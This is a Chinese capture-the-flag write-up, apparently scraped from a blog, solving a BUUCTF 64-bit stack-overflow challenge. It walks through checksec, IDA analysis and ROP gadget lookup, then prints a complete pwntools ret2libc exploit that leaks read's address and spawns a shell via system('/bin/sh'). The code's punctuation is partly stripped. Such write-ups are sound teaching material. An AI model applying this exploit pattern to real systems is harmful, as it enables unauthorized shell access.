2026/4/7 17:17:33
网站建设
项目流程
红河做网站的公司,兰州做网站开发,表白网页生成器软件,网站制作有限公司首先checksec检查保护机制#xff1a;-64位程序-开启了栈不可执行保护题目还附带了libc库文件#xff0c;点击就能下载接下来使用IDA反汇编分析一下#xff1a;buf到栈底的距离为0x20个字节#xff0c;但是下面的read函数却读入了0x100个字节的数据#xff0c;可以触发栈溢…首先checksec检查保护机制-64位程序-开启了栈不可执行保护题目还附带了libc库文件点击就能下载接下来使用IDA反汇编分析一下buf到栈底的距离为0x20个字节但是下面的read函数却读入了0x100个字节的数据可以触发栈溢出漏洞在IDA中发现程序没有后面函数system或/bin/sh地址再配合前面给的libc库判断是要我们拿到某个函数的真实进而求出libc的基址再来计算出system和/bin/sh的地址先拿到main函数地址用于后面触发二次溢出0x400636再在Linux终端中输入一下指令拿到rdi地址0x400733用于调用函数ret地址0x4004d1用于栈对齐ROPgadget --binary pwn --only pop|ret然后开始编写exp攻击脚本基本思路是通过两次栈溢出拿到shell第一次栈溢出先泄露出read函数的真实地址然后计算出libc基址进而求出system函数地址和/bin/sh地址然后第二次栈溢出注入system函数拿到shell都是ROP链的构造from pwn import * context(archamd64, oslinux, log_leveldebug) #io process(./pwn) # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io connect(node5.buuoj.cn,26311) # 与在线环境交互。 offset 40 main_addr 0x400637 ret_addr 0x4004d1 rdi_addr 0x400733 elf ELF(./pwn) read_got elf.got[read] printf_plt elf.plt[printf] libc ELF(./libc.so.6) io.recvuntil(bWhat\s your name? ) payload ba*offset p64(ret_addr) p64(rdi_addr) p64(read_got) p64(printf_plt) p64(main_addr) io.sendline(payload) io.recvline() read_addr u64(io.recvuntil(bW)[:-1].ljust(8,b\x00)) print(hex(read_addr)) libc_base read_addr - libc.sym[read] system_addr libc_base libc.sym[system] bin_sh_addr libc_base next(libc.search(b/bin/sh)) io.recvuntil(bname? ) payload ba*offset p64(ret_addr) p64(rdi_addr) p64(bin_sh_addr) p64(system_addr) io.sendline(payload) io.interactive()这是运行结果这里直接输入cat flag是拿不到flag因为flag不在根目录下跟着我下面的指令输入就可以拿到flag了